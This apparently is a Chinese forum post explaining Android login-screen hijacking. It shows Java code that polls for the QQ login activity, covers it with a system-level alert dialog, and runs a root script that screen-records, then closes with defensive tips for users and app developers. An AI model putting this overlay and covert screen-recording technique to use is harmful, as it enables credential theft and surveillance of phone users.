两种方式,一种是界面劫持
一、 界面劫持原理
恶意应用会利用后台服务,持续检测当前手机界面是否为目标应用(例如QQ登录界面)。一旦检测到目标界面,就会立即显示高仿的ui界面遮盖qq登录界面,实现劫持。
二、 代码示例
1. 后台服务检测
以下代码展示了恶意应用如何利用后台服务检测目标界面:
new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
while (true) {
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List<RunningTaskInfo> tasks = am.getRunningTasks(1);
if (tasks.get(0).topActivity.getClassName().equals("com.tencent.mobileqq.activity.LoginActivity")) {
inject();
RunAsRooter();
break;
}
try {
Thread.sleep(500);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
Looper.loop();
}
}).start(); 代码解析:
循环检测当前运行的Activity,判断其包名是否为QQ登录界面。如果检测到目标界面,则调用 inject() 和 RunAsRooter() 方法。设定 500ms 的检测间隔,防止频繁检测导致系统卡顿。2. 弹窗劫持
以下代码展示了如何利用系统弹窗劫持用户操作:
private void inject() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("提示");
builder.setMessage("你的界面已经被劫持了");
final AlertDialog dialog = builder.create();
dialog.getWindow().setType((WindowManager.LayoutParams.TYPE_SYSTEM_ALERT));
dialog.show();
} 代码解析:
创建一个系统弹窗,并设置标题和内容。将弹窗设置为系统级弹窗,使其无法被用户关闭。3. 后台监控
恶意应用可以通过以下代码,利用root权限启动后台录像,监控用户操作:
private void RunAsRooter() {
try {
Runtime.getRuntime().exec("su -c /sdcard/run.sh").waitFor();
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
} 代码解析:
脚本文件 run.sh 中包含以下代码:screenrecord --time-limit 30 /sdcard/demo.mp4该脚本利用 screenrecord 命令进行录像,并保存至SD卡中。
三、 总结
恶意应用通过界面劫持和后台监控,可以获取用户的敏感信息,例如账户密码、短信验证码、聊天记录等。因此,用户应避免root手机,并谨慎安装来源不明的应用程序。
为了保障手机安全,用户应采取以下措施:
不要root手机:root手机会导致手机失去官方保障,更容易被恶意应用攻击。只安装官方应用市场提供的应用:官方应用市场会对应用进行严格审核,降低恶意应用的风险。及时更新系统和应用:系统和应用的更新往往包含安全补丁,可以修复已知的安全漏洞。开启手机安全软件:手机安全软件可以帮助检测和拦截恶意应用,保护手机安全。手机安全是一个复杂而重要的议题,用户应提高安全意识,并采取相应的措施保护手机安全。
如果你是app开发这就要在onpause中检测你的app是否在最前面,如果不在就要告诉用户app已经在退出到后台了,当前是其他app的界面。
网友回复


